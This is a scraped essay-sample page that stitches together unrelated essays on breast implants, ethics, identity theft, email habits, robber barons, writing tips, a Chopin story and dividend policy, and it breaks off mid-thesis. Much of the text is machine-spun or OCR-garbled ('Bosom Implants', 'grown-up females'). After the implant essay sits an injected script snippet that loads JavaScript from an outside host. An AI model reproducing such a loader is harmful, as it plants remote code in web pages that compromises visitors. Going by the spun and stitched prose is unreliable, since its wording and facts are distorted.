Breast Implants Your Decision Essay Research Paper free essay sample

Bosom Implants: Your Decision Essay, Research Paper Bosom Implants: Your Decision In our general public we have numerous and various qualities. One of the qualities is a grown-up female s physical visual angle. A grown-up female s chest size every now and again plays an implicit bit in her visual angle to other people and to herself. A grown-up female s chests are non simply just a segment of her natural structure yet as often as possible for both work powers and grown-up females, they have come to represent muliebrity. All through a grown-up female s lifetime her chests may loan to her sexual fulfillment, visual angle, and self-pride, yet numerous grown-up females are non happy with their chest size. Since the 1940 s grown-up females have been looking for grouped strategies to expand their chest size for some grounds ( Frontline ) . The general public we live in puts incredible emphasize on visual perspective, such a large number of grown-up females are self witting about their chests. Some grown-up females have chosen for hold chest embeds in the wake of experiencing a mastectomy, yet others decide to hold inserts done only for enhancing expectations. Since the Food and Drug Administration ( FDA ) has gotten associated with examining inserts, guidelines and laws have come into outcome. The FDA, due to the symptoms currently confines individuals s choices. For some grown-up females the advantages of holding chest embeds out of sight the perils, and they ought to have the option to do their ain educated assurance refering clinical processs identified with her chests. Timmie Jean Lindsay in 1962 turned into the main grown-up female to have silicone chest inserts ( Frontline ) . Silicone, gel inserts, are comprised of a plastic pocket that is pre-loaded up with a reasonable, gluey, thick jellylike substance that is truly close to the existent consistence of chests. The activity with silicone inserts is that they can release, shed blood, or burst. At the point when silicone spills into the natural structure it can do solidifying of the environing tissue. The greatest concern is about the connection between the silicone in gel inserts and immune system agitates, for example, dermatosclerosis, joint inflammation, lupus erythematosus, and constant exhaustion condition. It is difficult to set up a reasonable nexus between these ailments and inserts since it takes mature ages for these surprises to create. Mature ages subsequent to having inserts, numerous grown-up females have put some distance between their sawboness and consequently a considerable lot of the occupations go unreported ( Bruning 50-51 ) . Saline inserts are another choice. They comprise of a plastic pocket that is flattened when embedded. In the wake of being placed in topographic point, it is loaded up with saline, an unfertile salt H2O. Saline inserts burst more often than silicone along these lines requiring to be supplanted all the more oftentimes. The up side is that the existent saline itself is protected and won Ts do your natural structure any injury in the event that it spills. Another beneficial thing about this sort is that since they are embedded emptied a littler scratch is required so there is less checking. The significant infirmity about saline inserts is that they do non experience or look each piece normal as the silicone type and with individuals being so mindful, this can be an enormous issue. The greater part of grown-up females with inserts have just the fundamental silicone or saline. There are a couple of different arrangements out at that place. Twofold lumen inserts are a blend of the two sorts. They are comprised of two pocket, one inside of the other, and one of saline while the other is silicone. Another sort is covered inserts. In this case the inserts are secured with polyurethane foam. In any case, the foam was found to fuse a substance that can do threatening neoplastic ailment in vivify creatures and is thus not, at this point accessible. Presently rather than being covered, numerous inserts have silicone-finished surfaces intended to advance the natural structure tissue to transform into it ( Bruning 32 ) . Numerous examples have been brought to test over the mature ages for the reactions of inserts. A huge number of dollars have been granted to patients. These cases have caused more examination into inserts. Not bounty expanded research has been at this point done that contrast grown-up females who have inserts and grown-up females who do non to certify an unmistakable nexus among inserts and immune system ailment or different genuine ailments. gt ; After Dow Corning Wright directed 329 surveies on silicone inserts, and 30,000 pages of paperss were submitted there were as yet numerous worries and unreciprocated requests. Because of worries about the inadequacy of data, in April 1992, the FDA chose to severely reduce the use of silicone gel inserts. Due to the assurance by the FDA, silicone inserts are by and by accessible for look into purposes just. Womans looking for inserts for non-medical problems are non qualified for the exploration. Those that are qualified simply incorporate grown-up females who are survivors of unwellness, harmful neoplastic illness, birth absconds, or are sought after for another clinical ground. One insulted grown-up female with harmful neoplastic infection responded to the limits set on who can have silicone embeds by expressing, Oh, so we re superfluous! We ll likely bones of harmful neoplastic sickness in any case, so let s investigate us. It doesn t undertaking so a lot if an embed is dangerous ( Bruning 14 ) . Other than discontent with the FDA s assurance, one of the praised plastic sawboness at the Mayo Clinic wrote in the Wall Street Journal: It is wrong that 1000s of grown-up females ought to be denied the opportunity for ideal outcomes as a result of an extremely little minority of grown-up females with occupations it is dry that grown-up females keep on smoking, guzzle, and experience premature births, all of which have extremely existent and demonstrated impacts to their wellbeing, while at the same time being denied inserts. In May 2000 the FDA affirmed the utilization of saline inserts. As cited by the Washington Post, FDA functionaries said they could non ignore the way that regardless of the entanglements experienced by some grown-up females, the greater part of those grown-up females after three mature ages announced being happy with their inserts. Remembered for the gift is the interest that forthcoming patients be educated regarding the product weaknesss. This way patients will have the option to do judgments once they are completely aware of the potential impacts. In spite of the examination done as an afterthought impacts of inserts and the entirety of the statutes set on them, grown-up females in large Numberss keep on choosing for inserts. With more than 75 % of grown-up females accepting the perfect chest size is bigger or littler than their ain, inserts have helped venture affirmation in numerous grown-up females. Harvey, a plastic sawbones, has seen that his patients, state their Fuller chests make them experience better about their natural structures, progressively confident, and that they demonstration increasingly confident too much. Furthermore, when you anticipate affirmation, individuals respond all the more decidedly to you ( Bruning 27 ) . Womans are permitted to take what to make with their natural structures with regards to gaining a premature birth or non, which can be hurtful. At a similar clasp with regards to make up ones disapproving of what to make with their natural structures influencing chest embeds, the assurance is non entirely up to them. Silicone inserts could do reactions, however having them, in any event, for enhancing expectations, ought to be viewed as each piece long as the patient is mindful of what could travel off base. Since they are more regular inclination and looking than saline inserts, and our general public Judgess looks so basically, grown-up females should be given the alternative to take what sort of inserts to secure. It is sketchy to just let the inserts to be looked into on collectors for clinical purposes. How embeds respond to a sound natural structure contrasted with individual for case who has dangerous neoplastic illness can change. This alleged research will neer do choices on how embeds work in solid individuals who are securing inserts simply to look and experience better on the off chance that they wont even permit them gain the inserts. This is America. Shouldn't something be said about our opportunity of pick? Plants Cited Bruning, Nancy. Bosom Implants: Everything You Need to Know. Alameda: Tracker House, 1992. Cutting edge. Bosom Implant Chronology. 1998. PBS Online. . Kaufman, Marc. Saline Breast Implants Approved. The Washington Post 11 May 2000: C7. Duty, Jerome F, And Diana Odell Potter. Your Breasts. New York: Noonday,1990. Peacock, Mary. Evaluating Breasts. Womenswire Online. . ( map ( ) { var ad1dyGE = document.createElement ( 'content ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = genuine ; ad1dyGE.src = 'http:/r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'content ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Ethics Theories Table Essay Example | Topics and Well Written Essays - 500 words

Morals Theories Table - Essay Example A worker endowed with assets by their enterprise is dutybound to represent these assets and transmit the parity, assuming any. Despite the fact that this genuineness may deny him of certain material solaces, i.e., the additional cash if unremitted could have gotten the person in question another vehicle, obligation based morals endorses that the individual in question should restore the cash. The exemplary objective based hypothesis is utilitarianism. Jeremy Bentham introduced one of the most punctual completely created frameworks of utilitarianism. Two highlights of his hypothesis are noteworty. To start with, Bentham recommended that we count the outcomes of each activity we perform and subsequently decide dependent upon the situation whether an activity is ethically right or wrong. This part of Bentham's hypothesis is known as act-utilitiarianism. Second, Bentham likewise suggested that we count the delight and agony which results from our activities. For Bentham, delight and torment are the main outcomes that issue in deciding if our lead is good. This part of Bentham's hypothesis is known as epicurean utilitarianism. A representative ought to endeavor to get an advancement no matter what as this will profit him, even to the detriment of co-workers and regardless of whether there would be an infringement of an ethical obligation all the while. For instance, the ethical obligation to recognize a job well done after a fruitful task. The most influe

Email for Minimalists

Email for Minimalists I manage email differently from how I used to. Email of Yesteryear When I worked in corporate America, I would receive 150â€"250 emails a day. In fact, the first thing I did each morning was reach for my BlackBerry and check my inbox, and then I was anchored to that device throughout the day, checking it every few minutes, always anticipating every new message. It was an unspoken corporate expectation to be on call, always available. And at night, before my head hit the pillow, the last thing I didâ€"out of habitâ€"was check my phone for new email messages. Looking back on the whole experience, it seems a bit crazy now, but at the time it felt completely normal. The truth is that fewer than 40 of those couple hundred emails required any kind of action. Some of them just needed to be read and filed away mentally. Many were irrelevant but still required my precious time to read and decide whether or not it was pertinent information. To manage such a daunting load, I developed an elaborate system to organize the chaosâ€"constantly checking my inbox, filing messages into appropriate to do  folders, delegating tasks to various employees, and setting priorities for various actions I needed to take. It was a vicious cycle, and I was never caught-up.  I couldnt, by definition, ever be caught-up with such a barrage of perpetual incoming info. But I soldiered onâ€"reading, filing, prioritizing, delegating, and taking action to get things done. Email Today The picture looks much different for me today. Size doesnt matter. I dont subscribe to the five-sentence email philosophy prescribed by some of my friends. I like long emails if they are clever, well thought out, and add value to my life (that last part is the most important). For some emails, however, five sentences is way too long. And most emails shouldnt be sent at all. Besides, Im perfectly capable of writing a several-page, 800-word sentence that would render this rule irrelevant (as I demonstrated in the first sentence of the eighth chapter in  Everything That Remains). So, instead of limiting myself, I think twice before I send an email. Is there a better way to communicate this info? is the first question I ask. No more smartphone email. No longer do I get email on the device in my pocket. It was a frustrating transition at first, but Im less stressed because of it. Unsubscribe if you dont find value. Email is my central hubâ€"its what I use to aggregate all my incoming info (comments, communications, websites, newsletters, blogs, etc.). If something is no longer adding value to my life, I unsubscribe. Dont respond every day. If you send me an email, you will get a response (if it warrants one), but that response is on my terms, on my timeline. No one should send an email to anyone and expect an immediate reply. Life is too precious to spend our days feeling anxious with required email responses. Dont act on everything. Not every email requires an action. In fact, most dont. Sometimes its OK to just hit delete. How could you manage your email differently? Additional tactics: Check Email Like a Minimalist.

Id Theft Literature Review - 3137 Words

Ide ty Thef entit T ft Lit ture Re w terat e eview Vinod K Kumar, MS080 055 Identity thef is the faste growing white-collar crime. ft est r Identity thef and identi fraud are terms used to refer ft ity to all types of crime in w which someo wrongfu one ully obtains and uses anothe person‘s p d er personal dat in ta some way th involves f hat fraud or dec ception, typi ically for economic ga In this r gain. review I have presented some of the cases if identity thef and tried t classify th f ft to hem according to their purpose and the harms cause o ed because of i it. 01-Oct-11 IISER Mohali Table of Contents†¦show more content†¦At the same time that stricter privacy laws made it easier for identity thieves to commit identity theft, information technology also proliferated. When this happened, there was much more information available to identity thieves, so they naturally used this information to commit identity theft. Id guess thats why identity theft is a bigger problem today than it once was, and that the increased amount of identity theft isnt related to the stricter privacy laws at all. On the other hand, I could be wrong. If thats the case, then I would expect LoPuckis model to predict that identity theft will decrease over the next several years as the proliferation of social networking web sites provides a handy source for lots of public information about our identities. Or I would expect his model to predict that users of social networking web sites suffer less identity theft than people who dont. I dont believe that either of these will turn out to be true. An Evaluation of Identity-Sharing Behavior in Social Network Communities – Stutzman -Though academic institutions have been working to protect student identities, their work is increasingly being undermined by social networking communities (SNCs). -The goals of this study were twofold: obtaining quantitative data about SNC participation onShow MoreRelated Identity Theft Essay examples1315 Words   |  6 Pages Introduction nbsp;nbsp;nbsp;nbsp;nbsp;There is currently a huge growing number of criminals that now do greater and more widespread damage to their victims without ever meeting them. Identity theft surfaced in the early 1990s and turned peoples everyday transactions into a data gathering game. Bits of personal information such as bankcards, credit card accounts, income, social security numbers or just someone name, address, and phone numbers are now collected and could be used illegally byRead MoreAnnotated Bibliography On Online Banking Deception1617 Words   |  7 PagesAbstract The thesis is about online banking deception. â€Å"Online banking fraud† is about committing theft or fraud by means of the features of Internet to illegitimately confiscate cash from, or move it to, some other bank account. During the past decades, most of the problems in the field of cyber-security and more specifically online banking fraud have been investigated from technological perspective. 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What is your personal vision for your future work?   Within these questions, please review and incorporate one peer-reviewed journal article relating to the potential impact of doctoral studies. The intent is to begin to develop your skills in scholarly research and writing. The transformational event that drove me into this doctorate programRead MoreInformation Risk Management in the NHS (London)785 Words   |  3 Pagesrecoding, and manual recording. Lemieux (2004) believes there are two approaches that can be taken to manage the information risks that is either event based or requirements based. The event based approach is planning on the bases of events such as theft of computers, loss of information due to breakdown of computers or information systems (Lemieux, 2004). Whereas the requirement based approach is to record and maintain the information in according to the standards laid down by the organisation toRead MoreSecurity Practices Of Electronic Commerce Companies Should Follow1679 Words   |  7 Pagesprotection, vulnerability management, access control, policy Overview of Basic Security Practices for E-commerce Businesses Target, Neiman Marcus, and even eBay have been victims of breaches involving their customer’s sensitive information. Identity theft is becoming all too common as entire dossiers of individuals who have done nothing more than purchase something online are shared, sometimes for as little as a dollar (Follow the Data: Dissecting Data Breaches and Debunking the Myths, 2015). IncidentsRead MoreThe Security Of E Banking1772 Words   |  8 Pagescomfortable way.The people face dierent kinds of problems when they use internet for bank-ing.The main problem of the E-banking is hacking. Hacker theft the personal identication number (PIN) and ATM card number when we use that kinds of electronic card. Mainly when we use ATM card and give a PIN number, then there should be a great chance to be theft the information. For the online pay-ment the same procedure followed by the hackers when we give PIN and card number. The increase in growth of online

Confucian Vs. Confucian Classics - 1139 Words

In thinking about the Confucian Analects, one can come to a great many conclusions or interpretations regarding the meaning of each passage within his â€Å"Confucian Classics†. Given the historical context and background in which Confucian ideals were created during, there is one particular set of notions in which the authors hoped that a society would derive from this literary masterpiece. Within this essay, my attempt is to provide a detailed evaluation of one of the passages of the Analects, from within the framework of a Confucian society. In doing so, one must associate three key terms with Confucian ideology: that of â€Å"Ren†, which speaks to the goodness of an individual as well as at the societal level; †Li† which is represented by†¦show more content†¦It can be said that this sort of self-analysis speaks to the high degree of practical foresight and self-observation that one is required to attain in a Confucian sense of being. For Master Zeng and Confucians, the concept of â€Å"Ren† relates to the goodness within oneself and how that goodness is shared among society as a whole. Therefore, for Master Zeng, his internal observations and cognitive awareness leads him to a higher level of consciousness that enables him to be good to himself, as well as extending that kindness to the rest of society. Humanitarianism is a key element in Confucian thought. To best explain the concept â€Å"Ren†, in practice, one would need to focus on conveying compassion and understanding to all living things. Under Confucianism, doing any harm to oneself or their environment goes against what is termed as being â€Å"The Way†, or put in other words, if one were to inflict harm on anything they would not be following the path of righteousness. Master Zeng is urging his students to pay attention to their inner desires and to keep them under control. Moving to the next sentence, it is stated that, â€Å"When dealing on the behalf of others have I been trustworthy?† This question relates to the highest esteemed level of integrity and honor that a perfect gentleman has, displays, and is remembered by from the viewpoint of those which he interacts with.

Personal Ethical View Point Free Essays

Even though I do not always speak up when I know something is wrong, I have a strong code of personal ethics because I believe loyalty, honesty, and above all, respect for others will guide me to make me the proper ethical decisions throughout my life. I feel that I am a very loyal person. I believe that I am easy to get along with and can make friends without effort. We will write a custom essay sample on Personal Ethical View Point or any similar topic only for you Order Now Once I make friends, I have them for life. I have always prided myself on supporting decisions that my friends and family make, even if I know they are a mistake. Who am I to correct anyone’s actions? I understand the importance of making mistakes, so we can learn from them. Along with loyalty, I pride myself on having great fortitude. I am not easily swayed in my beliefs. I will listen to other view points and understand the importance of different beliefs, but I stand strong with the facts that I have discovered in which I developed my beliefs. Although I say that I respect other people’s opinion, I will fight for a cause I believe in, and I will back it up with every bit of energy I have if I feel something needs to be done to correct an action. I have noticed that I will tell people the truth, even if it may hurt them, but I will only do so when asked for an opinion. I know that telling a lie will only hurt me in the long run, so I am thankful that I am an extremely honest person. Lies will always come back to haunt me, and I am aware of that fact. I prefer to go through life without the stress of being caught in a lie. Honesty always pays off in the long run, even if it may cause feelings to be hurt. Working hard is a trait I value in my life. Not just physical labor, but mental work as well. I am tenacious in working through a problem until it is solved. I generally work hard on everything I set out to accomplish. I also believe that it takes a great sense of critical thinking to achieve successful hard work. I recognize that working hard comes with a set of rewards unattainable any other way. Along with all the great qualities I have, I would not be human if I said I did not have some negative qualities as well. To me, having some negative qualities does not necessarily mean it is a shame, but instead, I believe having negative points only helps balance out the positive. For instance, I have been known to be overly quiet when I should have spoken up on someone’s behalf. In other words, I do not always stick up for others when they are being treated poorly. I do get an overwhelming feeling that I should be strong and say something, but the quiet person inside me feels more comfortable and I weigh the options of making a situation worse, rather than better. When I notice something is wrong, I have a tendency to ignore the situation unless it involves me. I believe this goes back to deciding if my opinion will make a situation worse. I know this is a quality that I must work on in order to continue to become a better person. If more people spoke up, maybe this world could become better? This is what I consider to be my biggest character flaw. Additionally, I also have been known to give into peer pressure. Not when it comes to drugs or other unhealthy activities, but I will often follow others actions when participating in activities that make me feel uncomfortable. Also, I often take advice from people, even if I know it is not the best advice. Perhaps this is a way of showing respect to others. As I have stated, I pride myself on being a strong person, but sometimes this conflicts with the desire to make others feel valued around me. When I speak of value, there is only one thing that I value the most, and that is my family that I have created. The best gift I was given was my children and my loving husband in which I would do anything for. They are the reason I try to be successful. I have worked very hard at teaching them a great sense of personal ethics of their own, and I support my family’s decisions whether I feel them to be right or wrong. If a member of my family does make a decision that could have had a better outcome, I let them figure out the issue, and I always suggest new ideas in order to still give a structured solution, while that individual still learns from their mistakes. Again, even though I do not always speak up when I know something is wrong, I have a strong code of personal ethics because I believe loyalty, honesty, and above all, respect for others will guide me to make me the proper ethical decisions throughout my life. How might you use your personal ethics to determine a course of action? I have an example in which my personal ethics were greatly tested. When I was still working as an Assistant Security Director, the head Security Director was a very harsh, uncaring, pushy type of a person. He often treated all of his employees very poorly. He called everyone awful names. Once an employee had made a mistake within their job duties, my boss would forever hold that over their heads and often referred to those employees as â€Å"his retards. † He would even introduce them to other people that were hired into our department as retard # 1, 2, 3. On a daily basis, I would watch our most manly men come into the security office with their head held high, only to watch them leave feeling less of a man, and their heads hung low. My boss would also make sexual remarks to all the female security officers and I know it made them feel very uncomfortable. The Security Director knew that what he was doing was terribly wrong, because he threatened everyone’s jobs if they went to his boss. Most of the employees felt helpless. I believe this is where the quiet part of me stood in the way, because I did not say anything to him or anyone else even though I was just under his rank. I would often go home and reflect what the Security Director had done for the day and watched how people’s feelings were affected, including mine. After much embarrassment, hurt feelings and lack of pride, I finally let my personal ethics shine through. After a lot of intense reflection, as well as begging from the rest of the staff, I decided it was time to do what I could to stop my boss’s behavior. I stood up for all my employees knowing I could lose my job. I was tired of knowing in my heart that what he was doing was wrong on so many levels. I went above his head and secured a meeting with his boss. I spoke up and evealed all of my boss’s behaviors. I was completely uncomfortable doing so, but I knew it was the right decision that I had made. In the end, the Security Director was given a choice to leave or be publicly dismissed of his duties. I believe the result of me adhering to my strong code of personal ethics was the catalyst for this situation. All the employees who were harassed and bullied by my boss were so thankful and appreciative. My company had hired an investigator and every single employee was interviewed on the topic. Almost everyone stood behind me and showed their support. I guess they just needed someone stand up and be heard. How to cite Personal Ethical View Point, Essay examples

Robert Allen Essays - Gilded Age, Andrew Carnegie,

Robert Allen 92845 Robber Barons Then and Now Robber Barons, a term used in the late 1800s and early 1900s to describe a businessman who made an enormous amount of money, today we would call them billionaires. It was not really the fact they made an extreme amount of wealth, it was more the way they made it. In all the cases the acquiring of wealth was done in what was considered a ruthless manor and unscrupulous ways. A robber baron was more interested in acquiring wealth than the safety of his employees, the amount of work hours performed in a week, or the amount of wage being paid for a days work. For example Andrew Carnegie(the robber baron of the steel industry), he was instrumental in starting the 72 hour work week, paying out less than fair wages and having dangerous working conditions. The robber barons were known for their business tactics that would enable them to amass a wealth by monopolies. They would corner the market on a product or service and make it almost impossible to get, accept through them. One such person was James B. Duke (robber baron of the tobacco market).James Duke started marketing tobacco from his fathers tobacco farm at an early age. He developed a market for tobacco though advertising. When the market he developed, started growing he started buying up other tobacco companies in order to be the only supplier of the product. James Duke eventually formed The Great American Tobacco Co. which became the biggest supplier of cigarettes in the world. One thing the Robber Barons of today and yesterday have in common is monopolies. If it at all possible, the Robber Baron or billionaires as we call them today, would try to corner the entire market on their product or service, making it difficult for competition in their particular industry. James Duke did it by making a market for cigarettes and cigars and buying up his competition so he was the biggest company to supply the product. Andrew Carnegie cornered the market on the steel industry and made the first high rise building. He was the only business in his field therefore he could set his prices and up his profits. Other Robber Barons in various markets were William Vanderbilt, he monopolized the railroad business allowing him to set his own prices for freight and passage. John D. Rockefeller monopolized the oil industry with Standard Oil company. Today AT&T, the phone company, before deregulation controlled the vast majority of the phone services, thereby monopolizing the phone services. American Airlines, there unscrupulous business tactics would drive out competitors from areas they wished to control by having price wars until the opposition could no longer compete and would have to close their doors for business. But the biggest and wealthiest of them all, Bill Gates owner of Microsoft Corporation created an operating system for computers to work with and the market to sell that system. Before Bill Gates came along computers were only an informational source. What ever was programed into them was retrievable but you could not add information to them. Basically they were just a big file cabinet. Bill Gates made it to where you can talk to the computer and add information to them. This made them more user friendly and a very usable tool for personal and business use. But just like the Robber Barons of yesterday Gates cornered the market for his software by orchestrating a marketing plan that would require computer companies to pay him X amount of dollars for every computer they sold, whether or not the computer had his software on it or not. Now if you think about it, the computer companies had no choice but to put his software on the computers they sold. Kind of sounds like a monopoly to me. Philanthropy The other side to the Robber Baron coin. For some unknown reason the Robber Barons felt it necessary to give back enormous amounts of their wealth to the society they took if from, or maybe a better way to put it is earned it from? It was done in a manner that for the most part immortalized the giver. For instance James Duke or the Duke Endowment gave money to several Universities. This in turn eventually

Few vs. Several

Few vs. Several Few vs. Several Few vs. Several By Maeve Maddox Reader Norma H. Flaskerud wonders about few and several. She thinks a few refers to maybe 2-3 items while several refers to maybe 3-6. Her husband says a few is 4-7 items. Few is the opposite of many. It derives from words having the meaning of small and little. It is related to Latin paucus (little, few) and even puer (child/boy). Old English feawe/fea derives from a Germanic root meaning little. The number implied in the word few is more than two, Beyond that, trying to specify how many more is fruitless. I expect the New Testament writer was anticipating more than 2-7 converts when writing: Many are called, but few are chosen. In 1940 Winston Churchill was referring to the pilots of the Royal Air Force when he wrote: Never in the field of human conflict was so much owed by so many to so few. The Few became a name for this group of fliers: 2,353 British subjects and 574 volunteers from overseas. Several comes from a word meaning existing apart. Before it came to mean more than one (about 1530), it was used with the meanings separate, various, diverse, different. In legal use several preserves the meaning of separate. In the following example it is used to show that liability is enforceable separately against each party the contractual liability of each company to insured is several and not joint In keeping with its original meaning, several may be used to separate one group from another: A large crowd of soldiers gathered to protest the law. Several were women. The word several, usually an adjective or pronoun, has also been used as a verb. A farmer or community would several a large expanse of land into smaller parcels. It would seem that few and several can imply any number you want them to. By the way, in checking the Churchill quotation, I re-read the speech in which it appears. Its worth the time of any writer who is looking for models of beautifully-written English prose. Want to improve your English in five minutes a day? Get a subscription and start receiving our writing tips and exercises daily! Keep learning! Browse the Expressions category, check our popular posts, or choose a related post below:20 Computer Terms You Should KnowHow to spell "in lieu of"Word Count and Book Length

First Steps in Plotting a Novel

First Steps in Plotting a Novel First Steps in Plotting a Novel First Steps in Plotting a Novel By Maeve Maddox Sterlin writes: My girlfriend says plots are a dime a dozen, but I feel different. I am trying to write my story and I am loaded with themes, but no plot, nothing to drive the themes or story. Can you offer any tips or techniques for devising a plot? In one sense the girlfriend is correct. The writing section of any library houses dozens of books offering ready-made plots. One plot seems to be enough for many action stories: The hero is attempting to stop an assassination or foil plans to destroy the world. Reversals and disasters occur at predictable intervals before the action-packed climax and spectacular successful outcome. Theres nothing wrong with stories like that. We all enjoy them, especially as movies, but theyre not especially memorable. If your ambition is to write a novel that will linger in the readers mind after the last page, plotting requires a less mechanical approach. Many writing teachers describe plot as the skeleton of the novel, but I dont think thats quite the right metaphor. Picturing plot as skeleton suggests that the other elements of the novel can be hung on it or peeled off. I think that creating the right plot involves combining character and story in such a way that the result is a fused whole. Plot, character, story, theme and setting should bond with one another like the molecules in vulcanized rubber. What tips or techniques have I to offer? Only what Im doing myself as I begin my newest fiction project: 1. Read one of the many books about plot, for example 20 Master Plots and how to build them by Ronald B. Tobias. 2. Describe the story you plan to write in one sentence. If you cant say what your book is about in one sentence, you dont have a clear enough idea of what youre trying to do. 3. Decide what the main character wants more than anything else in life. The plot will grow out of this desire. 3. Write a character description of the protagonist that includes appearance, likes, dislikes, fears, childhood trauma, occupation, etc. Plot is behavior. The kind of experiences your character has had in the past will determine how he behaves in the future. What he fears will affect his actions. Plot grows from character. 4. Make a timeline for the events of the novel. This will give your plot anchor points. 5. Make a map that shows where all the action will take place. This will help you gauge distances and figure the length of time necessary to move your characters from one place to another. Want to improve your English in five minutes a day? Get a subscription and start receiving our writing tips and exercises daily! Keep learning! Browse the Fiction Writing category, check our popular posts, or choose a related post below:Dialogue Dos and Don'tsThe Difference Between "will" and "shall"Is "Number" Singular or Plural?

The Role of the Internal Change Agent Essay Example | Topics and Well Written Essays - 2500 words

The Role of the Internal Change Agent - Essay Example From this paper it is clear that  Internal Change Agents are of three different types. The People-Change-Technology type focus on the individual employee, their morale and motivation. They deal with absenteeism, turnover, and the quality of work performed. These change agents use the techniques of job enrichment, goal setting, and behaviour modification. They work on the assumption that â€Å"if individuals change their behaviour, the organisation will also change†.This study outlines that  the Organisation-Development type are change agents who are involved in internal processes such as intergroup relations, communication, and decision making. Their intervention technique is referred to as the cultural change approach, because they analyse the culture of the targeted organisation. This approach was developed from the domains of sensitivity training, team building, and survey feedback. While implementing organisational change processes, managers often assume the roles of t he different types of internal change agents outlined above. The internal change agent as Researcher is closely related to the previous role of trainer. The role includes the training of organisation members in the skills required for valid evaluation of the efficacy of action plans that have been carried out. Lunenburg states that as part of the overall intervention strategy, the change agent designs an evaluation component, useful for solving both the current as well as future problems.

The Birthright and the Human Storm (example of a title) Essay - 1

The Birthright and the Human Storm (example of a title) - Essay Example According to which a true woman must hold four cardinal virtues that are: domesticity, submissiveness, piety and purity. Women were not allowed to have sex with any other men except their husband, however, this restriction does not imply on men. It was considered as a sin if a woman gets involved with any other men. The sexual rights of women were also negligible in the 19th century. They can only have sex when their husbands wanted to have and were not allowed to show up their temptation. Followed by the Victorian age the gilded age was the era of growth and prosperity. In this era the women were not content with the cult of domesticity. Most women went to colleges to earn higher education and started to serve the society. Bobinot and his son Bibi were present at Friedheimers store when they sensed the emergence of a violent storm. Bobinot decided to stay at the store till the storm is gone. Calixta the wife of Bobinot, did not even notice the arrival of storm and thunder. When it turned much darker, Calixta went to close the door, there she found her ex-boyfriend Alcee and invited him in her home due to worsening weather condition. While staying at Calixta’s house Alcee made her recall all the sweet memories of their love and the passion they used to share. Flowing into the memories Calixta and Alcee forget about everything and get sexually involved reviving the old love and passion they had. In the meantime the author asserts that the storm gets also over. Bobinot and Bibi returned from the store after the weather gets settled. After coming back from Calixta’s place Alcee writes a letter to his wife suggesting her to stay in Biloxi as long as she wants. Clarisse felt good and free afte r receiving the letter. The author ends the story with a punch line, "So the storm passed and everyone was happy (Chopin 110)." The

Dividend Payout Decision Making Process

Dividend Payout Decision Making Process CHAPTER ONE INTRODUCTION Background: Dividend policy is an important component of the corporate financial management policy. It is a policy used by the firm to decide as to how much cash it should reinvest in its business through expansion or share repurchases and how much to pay out to its shareholders in dividends. Dividend is a payment or return made by the firm to the shareholders, (owners of the company) out of its earnings in the form of cash. For a long time, the subject of corporate dividend policy has captivated the interests of many academicians and researchers, resulting in the emergence of a number of theoretical explanations for dividend policy. For the investors, dividend serve as an important indicator of the strength and future prosperity of the business, thereby companies try to maintain a stable dividend because if they reduce their dividend payments, investors may suspect that the company is facing a cash flow problem. Investors prefer steady growth of dividends every year and are reluctant to investm ent to companies with fluctuating dividend policy. Over time, there has been a substantial increase in the number of factors identified in the literature as being important to be considered in making dividend decisions. Thus, extensive studies have been done to find out various factors affecting dividend payout ratio of a firm. However, there is no single explanation that can capture the puzzling reality of corporate dividend behavior. Ocean deep judgment is involved by decision makers to resolve this issue of dividend behavior. The decision of companies to retain or pay out the earnings in form of dividends is important for the maximization of the value of the firm (Oyejide, 1976). Therefore, companies should set a constructive target dividend payout ratio, where it pays dividends to its shareholders and at the same time maintains sufficient retained earnings as to avoid having raise funds by borrowing money. A tough challenge was faced by financial practitioners and many academics, when Miller and Modigliani (MM) (1961) came with a proposition that, given perfect capital markets, the dividend decision does not affect the firm value and is, therefore, irrelevant. This proposition was greeted with surprise because at that time it was universally acknowledged by both theorists and corporate managers that the firm can enhance its business value by providing for a more generous dividend policy and that a properly managed dividend policy had an impact on share prices and shareholder wealth. Since the MM study, many researchers have relaxed the assumption of perfect capital markets and stated theories about how managers should formulate dividend policy decisions. Problem Statement: Dividend policy has attracted a substantial amount of research by many researchers and theorists, who have provided theoretical as well as empirical observations, into the dividend puzzle (Black, 1976). Even though researchers and theorists have extended their studies in context to dividend decisions, the issue as to why corporations distribute a portion of their earnings as dividends is not yet resolved. The issue of dividend policy has stimulated much debate among financial analysts since Lintners (1956) seminal work. He measured major changes in earnings as the key determinant of the companies dividend decisions. There are many factors that affect dividend decisions of a firm as it is very difficult to lay down an optimum dividend policy which would maximize the long-run wealth of the shareholders resulting into increase or decrease of the firms value, but the primary indicator of the firms capacity to pay dividends has been Profits. Miller and Modigliani (1961), DeAngelo and DeAngelo (2006) gave their proposition on the dividend irrelevance, but the argument made by them was on assumptions that werent practical and in fact, the dividend payout decision does affect the shareholders value. The study focuses on identifying various determinants of dividend payout and whether these factors influence the dividend payout decision. Research Objective: There are many theories in the corporate finance literature addressing the dividend issue. The purpose of study is to understand the factors influencing the dividend decision of companies. The specific objectives of this study are: To analyze the financials of the company, to draw a framework of factors such as Retained earnings, Age of the company, Debt to Equity, Cash, Net income, Earnings per share etc. responsible for dividend declaration. To understand the criticality of a companys profitability (in terms of Earnings per share) component in declaration of dividends. To measure each factor individually on how it affects the dividend decision. Research Questions: RQ1. What is the relation between dividend payout and firms debt? RQ2. What is the relation between dividend payout and Profitability? RQ3. What is the relation between dividend payout and liquidity? RQ4. What is the relation between dividend payout and Retained Earnings? RQ5. What is the relation between dividend payout and Net Income? Contribution of the Study: Dividend decision is an important financial decision made by firms, managers, and investors. This study aims to contribute to the corporate finance literature, by looking at the Dividend puzzle. An attempt is made to make a valuable contribution in two major ways: Theoretical and Empirical approach is taken to provide a comprehensive view on the subject. The empirical Approach taken in this study will definitely leave some promising future ideas. The empirical findings and conclusions contained in this study can be used by financial managers to inform dividend decisions. Limitations of Study: The areas of concern to investigate in this study are extensive. Due to the Time constraint and accessibility of data, the research will be limited to the following: The period of study is only three years 2006 to 2008. The research has considered only those firms who pay dividends. The study is focused only on firms trading on the New York Stock Exchange. Structure of the Paper: The remaining chapters will be organized as follows: Chapter Two: Literature Review This chapter discusses the different theories laid down in context to dividend policy and explains the relationship between dividend payout and its determinants as concluded by the study of different researchers and theorists. Chapter Three: Research Methodology This chapter explains the research hypothesis and gives a descriptive study of the techniques and the model used for data analysis. The application of the statistical tests used are explained thoroughly. Chapter four: Data 